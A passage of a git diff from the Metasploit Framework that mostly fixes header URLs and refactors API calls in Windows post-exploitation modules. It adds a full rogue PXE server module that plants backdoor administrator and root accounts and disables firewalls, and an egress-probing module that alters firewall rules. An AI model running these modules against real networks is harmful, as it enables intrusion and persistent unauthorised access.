Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/inject_host.rb b/modules/post/windows/manage/inject_host.rb index d60a605c58..0151db3970 100644 --- a/modules/post/windows/manage/inject_host.rb +++ b/modules/post/windows/manage/inject_host.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/migrate.rb b/modules/post/windows/manage/migrate.rb index e3cd6ee18a..5dd4e6259d 100644 --- a/modules/post/windows/manage/migrate.rb +++ b/modules/post/windows/manage/migrate.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/mssql_local_auth_bypass.rb b/modules/post/windows/manage/mssql_local_auth_bypass.rb index 36ff3af1fd..b738866232 100644 --- a/modules/post/windows/manage/mssql_local_auth_bypass.rb +++ b/modules/post/windows/manage/mssql_local_auth_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index 114fdaee26..58ba395bd1 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/nbd_server.rb b/modules/post/windows/manage/nbd_server.rb index 0fbcfec22d..4ef8b99874 100644 --- a/modules/post/windows/manage/nbd_server.rb +++ b/modules/post/windows/manage/nbd_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/payload_inject.rb b/modules/post/windows/manage/payload_inject.rb index 9e69f4cc8d..8ba2e5a8a9 100644 --- a/modules/post/windows/manage/payload_inject.rb +++ b/modules/post/windows/manage/payload_inject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Post # Creates a temp notepad.exe to inject payload in to given the payload # Returns process PID def create_temp_proc(pay) - windir = client.fs.file.expand_path("%windir%") + windir = client.sys.config.getenv('windir') # Select path of executable to run depending the architecture if pay.arch.join == "x86" and client.platform =~ /x86/ cmd = "#{windir}\\System32\\notepad.exe" diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 385451e7c3..2fc0584665 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => [ 'Borja Merino '], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/powershell/exec_powershell.rb b/modules/post/windows/manage/powershell/exec_powershell.rb index 838c97a0a3..7afb15379d 100644 --- a/modules/post/windows/manage/powershell/exec_powershell.rb +++ b/modules/post/windows/manage/powershell/exec_powershell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/pptp_tunnel.rb b/modules/post/windows/manage/pptp_tunnel.rb index 9b370683fd..4f71034b08 100644 --- a/modules/post/windows/manage/pptp_tunnel.rb +++ b/modules/post/windows/manage/pptp_tunnel.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post [ [ 'URL', 'http://www.youtube.com/watch?v=vdppEZjMPCM&hd=1' ] ], - 'Platform' => 'windows', + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/pxeexploit.rb b/modules/post/windows/manage/pxeexploit.rb new file mode 100644 index 0000000000..8692ed4a64 --- /dev/null +++ b/modules/post/windows/manage/pxeexploit.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Windows Manage PXE Exploit Server', + 'Description' => %q{ + This module provides a PXE server, running a DHCP and TFTP server. + The default configuration loads a linux kernel and initrd into memory that + reads the hard drive; placing a payload to install metsvc, disable the + firewall, and add a new user metasploit on any Windows partition seen, + and add a uid 0 user with username and password metasploit to any linux + partition seen. The windows user will have the password p@SSw0rd!123456 + (in case of complexity requirements) and will be added to the administrators + group. + + See exploit/windows/misc/pxesploit for a version to deliver a specific payload. + + Note: the displayed IP address of a target is the address this DHCP server + handed out, not the "normal" IP address the host uses. + }, + 'Author' => [ 'scriptjunkie' ], + 'License' => MSF_LICENSE, + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + ) + + register_advanced_options( + [ + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), + OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), + OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), + OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), + OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), + OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) + ], self.class) + end + + def run + if not client.lanattacks + print_status("Loading lanattacks extension...") + client.core.use("lanattacks") + else + if datastore['RESETPXE'] + print_status("Resetting PXE attack...") + client.lanattacks.dhcp.reset + end + end + + #Not setting these options (using autodetect) + print_status("Loading DHCP options...") + client.lanattacks.dhcp.load_options(datastore) + + 0.upto(4) do |i| + print_status("Loading file #{i+1} of 5") + contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}")) + client.lanattacks.tftp.add_file("update#{i}",contents) + end + print_status("Starting TFTP server...") + client.lanattacks.tftp.start + print_status("Starting DHCP server...") + client.lanattacks.dhcp.start + print_status("PXEsploit attack started") + while (true) do + begin + # get stats every 20s + select(nil, nil, nil, 20) + client.lanattacks.dhcp.log.each do |item| + print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+ + "(#{Rex::Socket.addr_ntoa(item[1])})") + report_note({ + :type => 'PXE.client', + :data => item[0].unpack('H2H2H2H2H2H2').join(':') + }) + end + rescue ::Interrupt + print_status("Stopping TFTP server...") + client.lanattacks.tftp.stop + print_status("Stopping DHCP server...") + client.lanattacks.dhcp.stop + print_status("PXEsploit attack stopped") + return + end + end + end + +end diff --git a/modules/post/windows/manage/pxexploit.rb b/modules/post/windows/manage/pxexploit.rb index f38e6fcad6..ba644df674 100644 --- a/modules/post/windows/manage/pxexploit.rb +++ b/modules/post/windows/manage/pxexploit.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,6 +9,9 @@ require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post include Msf::Auxiliary::Report + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 4, 11), 'post/windows/manage/pxeexploit') def initialize super( @@ -36,7 +39,8 @@ class Metasploit3 < Msf::Post register_advanced_options( [ - OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), @@ -46,9 +50,6 @@ class Metasploit3 < Msf::Post end def run - if not datastore['TFTPROOT'] - datastore['TFTPROOT'] = ::File.join(Msf::Config.data_directory, 'exploits', 'pxexploit') - end if not client.lanattacks print_status("Loading lanattacks extension...") client.core.use("lanattacks") diff --git a/modules/post/windows/manage/reflective_dll_inject.rb b/modules/post/windows/manage/reflective_dll_inject.rb index 0b3b651270..f52eac1e24 100644 --- a/modules/post/windows/manage/reflective_dll_inject.rb +++ b/modules/post/windows/manage/reflective_dll_inject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post This module will inject into the memory of a process a specified Reflective DLL. }, 'License' => MSF_LICENSE, - 'Author' => [ 'Ben Campbell '], + 'Author' => [ 'Ben Campbell'], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'References' => diff --git a/modules/post/windows/manage/remove_ca.rb b/modules/post/windows/manage/remove_ca.rb index 8e7eabe9e9..2a2437d0d2 100644 --- a/modules/post/windows/manage/remove_ca.rb +++ b/modules/post/windows/manage/remove_ca.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/remove_host.rb b/modules/post/windows/manage/remove_host.rb index 353a272263..9f78208ea3 100644 --- a/modules/post/windows/manage/remove_host.rb +++ b/modules/post/windows/manage/remove_host.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb index a810b16f41..b49600378b 100644 --- a/modules/post/windows/manage/rpcapd_start.rb +++ b/modules/post/windows/manage/rpcapd_start.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry - include Msf::Post::Windows::WindowsServices + include Msf::Post::Windows::Services include Msf::Post::Windows::Priv def initialize(info={}) @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post PORT will be used depending of the mode configured.}, 'License' => MSF_LICENSE, 'Author' => [ 'Borja Merino '], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) @@ -41,15 +41,16 @@ class Metasploit3 < Msf::Post serv = service_info("rpcapd") print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service") - if serv['Name'] !~ /remote/i + if serv[:display] !~ /remote/i print_error("This machine doesn't seem to have the rpcapd service") else - print_status("Rpcap service found: #{serv['Name']}") - reg=registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\rpcapd","Start") - prog=expand_path("%ProgramFiles%") << "\\winpcap\\rpcapd.exe" - if reg != 2 + print_status("Rpcap service found: #{serv[:display]}") + + start_type = serv[:starttype] + prog = get_env('ProgramFiles') << "\\winpcap\\rpcapd.exe" + if start_type != START_TYPE_AUTO print_status("Setting rpcapd as 'auto' service") - service_change_startup("rpcapd","auto") + service_change_startup("rpcapd", START_TYPE_AUTO) end if datastore['ACTIVE']==true if datastore['RHOST']==nil @@ -75,22 +76,15 @@ class Metasploit3 < Msf::Post end def run_rpcapd(p) + service_name = "rpcapd" begin - cmd_exec("sc","config rpcapd binpath= \"#{p}\" ",30) - result=service_start("rpcapd") - case result - when 0 - print_good("Rpcapd started successfully: #{p}") - when 1 - print_status("Rpcapd is already running. Restarting service ...") - if service_stop("rpcapd") and service_start("rpcapd") - print_good("Service restarted successfully: #{p}") - else - print_error("There was an error restarting rpcapd.exe. Try to run it again") - end + if service_restart(service_name) + print_good("Rpcapd started successfully: #{p}") + else + print_error("There was an error restarting rpcapd.exe.") end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") + rescue ::Exception => e + print_error("The following Error was encountered: #{e.class} #{e}") end end diff --git a/modules/post/windows/manage/run_as.rb b/modules/post/windows/manage/run_as.rb index c5a9ca2e61..2f64760c2e 100644 --- a/modules/post/windows/manage/run_as.rb +++ b/modules/post/windows/manage/run_as.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -106,7 +106,7 @@ class Metasploit3 < Msf::Post end # set profile paths - sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%") + sysdrive = session.sys.config.getenv('SYSTEMDRIVE') os = @host_info['OS'] profiles_path = sysdrive + "\\Documents and Settings\\" profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/ diff --git a/modules/post/windows/manage/sdel.rb b/modules/post/windows/manage/sdel.rb index d1df025153..a2691cc1d4 100644 --- a/modules/post/windows/manage/sdel.rb +++ b/modules/post/windows/manage/sdel.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -57,8 +57,8 @@ class Metasploit3 < Msf::Post #Function to calculate the size of the cluster def size_cluster() - drive = expand_path("%SystemDrive%") - r = client.railgun.kernel32.GetDiskFreeSpaceA(drive,4,4,4,4) + drive = session.sys.config.getenv('SystemDrive') + r = session.railgun.kernel32.GetDiskFreeSpaceA(drive,4,4,4,4) cluster = r["lpBytesPerSector"] * r["lpSectorsPerCluster"] print_status("Cluster Size: #{cluster}") @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Post #Function to calculate the real file size on disk (file size + slack space) def size_on_disk(file) - size_file = client.fs.file.stat(file).size; + size_file = session.fs.file.stat(file).size; print_status("Size of the file: #{size_file}") if (size_file<800) @@ -94,13 +94,13 @@ class Metasploit3 < Msf::Post rsec= Rex::Text.rand_text_numeric(7,bad='012') date = Time.now - rsec.to_i print_status("Changing MACE attributes") - client.priv.fs.set_file_mace(file, date,date,date,date) + session.priv.fs.set_file_mace(file, date,date,date,date) end #Function to overwrite the file def file_overwrite(file,type,n) #FILE_FLAG_WRITE_THROUGH: Write operations will go directly to disk - r = client.railgun.kernel32.CreateFileA(file, "GENERIC_WRITE", "FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH", 0) + r = session.railgun.kernel32.CreateFileA(file, "GENERIC_WRITE", "FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH", 0) handle=r['return'] real_size=size_on_disk(file) @@ -118,10 +118,10 @@ class Metasploit3 < Msf::Post end #http://msdn.microsoft.com/en-us/library/windows/desktop/aa365541(v=vs.85).aspx - client.railgun.kernel32.SetFilePointer(handle,0,nil,"FILE_BEGIN") + session.railgun.kernel32.SetFilePointer(handle,0,nil,"FILE_BEGIN") #http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx - w=client.railgun.kernel32.WriteFile(handle,random,real_size,4,nil) + w=session.railgun.kernel32.WriteFile(handle,random,real_size,4,nil) if w['return']==false print_error("The was an error writing to disk, check permissions") @@ -131,7 +131,7 @@ class Metasploit3 < Msf::Post print_status("#{w['lpNumberOfBytesWritten']} bytes overwritten") end - client.railgun.kernel32.CloseHandle(handle) + session.railgun.kernel32.CloseHandle(handle) change_mace(file) #Generate a long random file name before delete it @@ -139,7 +139,7 @@ class Metasploit3 < Msf::Post print_status("Changing file name") #http://msdn.microsoft.com/en-us/library/windows/desktop/aa365239(v=vs.85).aspx - client.railgun.kernel32.MoveFileA(file,newname) + session.railgun.kernel32.MoveFileA(file,newname) file_rm(newname) print_good("File erased!") @@ -148,7 +148,7 @@ class Metasploit3 < Msf::Post #Check if the file is encrypted or compressed def comp_encr(file) #http://msdn.microsoft.com/en-us/library/windows/desktop/aa364944(v=vs.85).aspx - handle=client.railgun.kernel32.GetFileAttributesA(file) + handle=session.railgun.kernel32.GetFileAttributesA(file) type= handle['return'] #FILE_ATTRIBUTE_COMPRESSED=0x800 diff --git a/modules/post/windows/manage/smart_migrate.rb b/modules/post/windows/manage/smart_migrate.rb index 2f23dafc5d..9937e09f99 100644 --- a/modules/post/windows/manage/smart_migrate.rb +++ b/modules/post/windows/manage/smart_migrate.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_create.rb b/modules/post/windows/manage/vss_create.rb index b2cdcb91b4..a377af66a8 100644 --- a/modules/post/windows/manage/vss_create.rb +++ b/modules/post/windows/manage/vss_create.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_list.rb b/modules/post/windows/manage/vss_list.rb index 76ff52defe..35737fb343 100644 --- a/modules/post/windows/manage/vss_list.rb +++ b/modules/post/windows/manage/vss_list.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_mount.rb b/modules/post/windows/manage/vss_mount.rb index a3fe7e1cd1..d71fe54b43 100644 --- a/modules/post/windows/manage/vss_mount.rb +++ b/modules/post/windows/manage/vss_mount.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_set_storage.rb b/modules/post/windows/manage/vss_set_storage.rb index 0bd7c2535b..c61fd6e128 100644 --- a/modules/post/windows/manage/vss_set_storage.rb +++ b/modules/post/windows/manage/vss_set_storage.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_storage.rb b/modules/post/windows/manage/vss_storage.rb index 0aa7f27799..599902d94c 100644 --- a/modules/post/windows/manage/vss_storage.rb +++ b/modules/post/windows/manage/vss_storage.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/webcam.rb b/modules/post/windows/manage/webcam.rb index 88d97b4455..eb156773d4 100644 --- a/modules/post/windows/manage/webcam.rb +++ b/modules/post/windows/manage/webcam.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/recon/computer_browser_discovery.rb b/modules/post/windows/recon/computer_browser_discovery.rb index 676c0e7491..cc2ad55784 100644 --- a/modules/post/windows/recon/computer_browser_discovery.rb +++ b/modules/post/windows/recon/computer_browser_discovery.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Post end result = client.railgun.netapi32.NetServerEnum(nil,101,4,-1,4,4,lookuptype,datastore['DOMAIN'],0) - # print_error(result.inspect) + if result['totalentries'] == 0 print_error("No systems found of that type") return diff --git a/modules/post/windows/recon/outbound_ports.rb b/modules/post/windows/recon/outbound_ports.rb new file mode 100644 index 0000000000..31196ce2c6 --- /dev/null +++ b/modules/post/windows/recon/outbound_ports.rb @@ -0,0 +1,196 @@ +# -*- coding: binary -*- + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Outbound-Filtering Rules', + 'Description' => %q{ + This module makes some kind of TCP traceroute to get outbound-filtering rules. + It will try to make a TCP connection to a certain public IP address (this IP + does not need to be under your control) using different TTL incremental values. + This way if you get an answer (ICMP TTL time exceeded packet) from a public IP + device you can infer that the destination port is allowed. Setting STOP to + true the module will stop as soon as you reach a public IP (this will generate + less noise in the network). + }, + 'License' => MSF_LICENSE, + 'Author' => 'Borja Merino ', + 'Platform' => 'win', + 'SessionTypes' => ['meterpreter'], + 'References' => [ + ['URL', 'http://www.shelliscoming.com/2014/11/getting-outbound-filtering-rules-by.html'] + ] + )) + + register_options( + [ + OptAddress.new('ADDRESS' , [ true, 'Destination IP address.']), + OptInt.new('HOPS', [true, 'Number of hops to get.', 3]), + OptInt.new('MIN_TTL', [true, 'Starting TTL value.', 1]), + OptString.new('PORTS', [true, 'Ports to test (e.g. 80,443,100-110).','80,443']), + OptInt.new('TIMEOUT', [true, 'Timeout for the ICMP socket.', 3]), + OptBool.new('STOP', [true, 'Stop when it finds a public IP.', true]) + ], self.class) + end + + def icmp_setup + handler = client.railgun.ws2_32.socket("AF_INET", "SOCK_RAW", "IPPROTO_ICMP") + if handler['GetLastError'] == 0 + vprint_status("ICMP raw socket created successfully") + else + print_error("There was an error setting the ICMP raw socket; GetLastError: #{handler['GetLastError']}") + return nil + end + + r = client.railgun.ws2_32.bind(handler['return'],"\x02\x00\x00\x00" << Rex::Socket.addr_aton(session.session_host) << "\x00"*8 ,16) + if r['GetLastError'] == 0 + vprint_status("ICMP socket successfully bound to #{session.session_host}") + else + print_error("There was an error binding the ICMP socket to #{session.session_host}; GetLastError: #{r['GetLastError']}") + return nil + end + + # int WSAIoctl( + # _In_ SOCKET s, + # _In_ DWORD dwIoControlCode, + # _In_ LPVOID lpvInBuffer, + # _In_ DWORD cbInBuffer, + # _Out_ LPVOID lpvOutBuffer, + # _In_ DWORD cbOutBuffer, + # _Out_ LPDWORD lpcbBytesReturned, + # _In_ LPWSAOVERLAPPED lpOverlapped, + # _In_ LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine + # ); + + sio_rcvall = 0x98000001 + r = client.railgun.ws2_32.WSAIoctl(handler['return'], sio_rcvall, "\x01", 4, nil, 0 ,4, nil, nil) + if r['GetLastError'] == 0 + return handler['return'] + else + print_error("There was an error calling WSAIoctl (ICMP raw socket); GetLastError: #{r['GetLastError']}") + return nil + end + end + + def tcp_setup(ttl) + handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP') + if handler['GetLastError'] == 0 + vprint_status('TCP socket created successfully') + else + print_error("There was an error setting the TCP socket; GetLastError: #{handler['GetLastError']}") + return nil + end + + # 0x8004667E = FIONBIO + # Enable non-blocking mode when *argp (third parameter in ioctlsocket) is set to a nonzero value + cmd = 0x8004667E + r = client.railgun.ws2_32.ioctlsocket(handler['return'], cmd, 1) + if r['GetLastError'] == 0 + vprint_status('TCP socket successfully configured in non-blocking mode') + else + print_error("There was an error setting the TCP socket in non-blocking mode; GetLastError: #{r['GetLastError']}") + return nil + end + + # int setsockopt( + # _In_ SOCKET s, + # _In_ int level, + # _In_ int optname, + # _In_ const char *optval, + #_In_ int optlen + # ); + ipproto_ip = 0 + ip_ttl = 4 + r = client.railgun.ws2_32.setsockopt(handler['return'], ipproto_ip, ip_ttl, [ttl].pack('C'), 4) + if r['GetLastError'] == 0 + vprint_status("TTL value successfully set to #{ttl}") + return handler['return'] + else + print_error("There was an error setting the TTL value; GetLastError: #{r['GetLastError']}") + return nil + end + end + + def connections(remote, dst_port, h_icmp, h_tcp, to) + sock_addr = "\x02\x00" + sock_addr << [dst_port].pack('n') + sock_addr << Rex::Socket.addr_aton(remote) + sock_addr << "\x00" * 8 + r = client.railgun.ws2_32.connect(h_tcp, sock_addr, 16) + + # A GetLastError == 1035 is expected since the socket is set to non-blocking mode + unless r['GetLastError'] == 10035 + print_error("There was an error creating the connection to the peer #{remote}; GetLastError: #{r['GetLastError']}") + return + end + + from = ' ' * 16 + + begin + ::Timeout.timeout(to) do + r = client.railgun.ws2_32.recvfrom(h_icmp, "\x00" * 100, 100, 0, from, 16) + hop = Rex::Socket.addr_ntoa(r['from'][4..7]) + return hop + end + rescue ::Timeout::Error + return nil + end + end + + def run + unless is_admin? + print_error("You don't have enough privileges. Try getsystem.") + return + end + + if sysinfo['OS'] =~ /XP/ + print_error('Windows XP is not supported') + return + end + + output = cmd_exec('netsh',' advfirewall firewall add rule name="All ICMP v4" dir=in action=allow protocol=icmpv4:any,any') + print_status("ICMP firewall IN rule established: #{output}") + + session.railgun.ws2_32 + remote = datastore['ADDRESS'] + to = datastore['TIMEOUT'] + + ports = Rex::Socket.portspec_crack(datastore['PORTS']) + + ports.each do |dport| + pub_ip = false + print_status("Testing port #{dport}...") + 0.upto(datastore['HOPS'] - 1) do |i| + i = i + datastore['MIN_TTL'] + h_icmp = icmp_setup + return if h_icmp.nil? + h_tcp = tcp_setup(i) + return if h_tcp.nil? + + hop = connections(remote, dport, h_icmp, h_tcp, to) + if hop.nil? + print_error("#{i} *") + else + print_good("#{i} #{hop}") + unless Rex::Socket.is_internal?(hop) + pub_ip = true + break if datastore['STOP'] + end + end + client.railgun.ws2_32.closesocket(h_tcp) + client.railgun.ws2_32.closesocket(h_icmp) + end + print_good("Public IP reached. The TCP port #{dport} is not filtered") if pub_ip + end + end +end diff --git a/modules/post/windows/recon/resolve_hostname.rb b/modules/post/windows/recon/resolve_hostname.rb deleted file mode 100644 index 37befc65e2..0000000000 --- a/modules/post/windows/recon/resolve_hostname.rb +++ /dev/null @@ -1,79 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'rex' - -class Metasploit3 < Msf::Post - require 'msf/core/module/deprecated' - include Msf::Module::Deprecated - deprecated Date.new(2014, 03, 24), 'post/multi/gather/resolve_hosts' - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Recon Resolve Hostname', - 'Description' => %q{ - This module resolves a hostname to IP address via the victim, - similar to the Unix 'dig' command. Since resolution happens over - an established session from the perspective of the remote host, - this module can be used to determine differences between external - and internal resolution, especially for potentially high-value - internal addresses of devices named 'mail' or 'www.' - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'mubix' ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) - - register_options( - [ - OptString.new('HOSTNAME', [false, 'Hostname to lookup', nil]), - OptPath.new('HOSTFILE', [false, 'Line separated file with hostnames to resolve', nil]), - OptBool.new('SAVEHOSTS', [true, 'Save resolved hosts to the database', true]) - ], self.class) - end - - def resolve_hostname(hostname) - begin - vprint_status("Looking up IP for #{hostname}") - result = client.net.resolve.resolve_host(hostname) - if result[:ip].nil? or result[:ip].blank? - print_error("Failed to resolve #{hostname}") - return - else - hostip = result[:ip] - end - - - print_status("#{hostname} resolves to #{hostip}") - - if datastore['SAVEHOSTS'] - report_host({ - :host => hostip, - :name => hostname - }) - end - - rescue Rex::Post::Meterpreter::RequestError - print_status('Windows 2000 and prior does not support getaddrinfo') - end - - end - - def run - if datastore['HOSTNAME'] - resolve_hostname(datastore['HOSTNAME']) - end - - if datastore['HOSTFILE'] - ::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname| - if hostname.strip != "" - resolve_hostname(hostname.strip) - end - end - end - end -end diff --git a/modules/post/windows/recon/resolve_ip.rb b/modules/post/windows/recon/resolve_ip.rb index 94f23d5b62..4e3028f341 100644 --- a/modules/post/windows/recon/resolve_ip.rb +++ b/modules/post/windows/recon/resolve_ip.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/wlan/wlan_bss_list.rb b/modules/post/windows/wlan/wlan_bss_list.rb index 10d19ff9e2..00baa5c710 100644 --- a/modules/post/windows/wlan/wlan_bss_list.rb +++ b/modules/post/windows/wlan/wlan_bss_list.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/wlan/wlan_current_connection.rb b/modules/post/windows/wlan/wlan_current_connection.rb index 8d59f8cf7b..a34db4f8c2 100644 --- a/modules/post/windows/wlan/wlan_current_connection.rb +++ b/modules/post/windows/wlan/wlan_current_connection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module 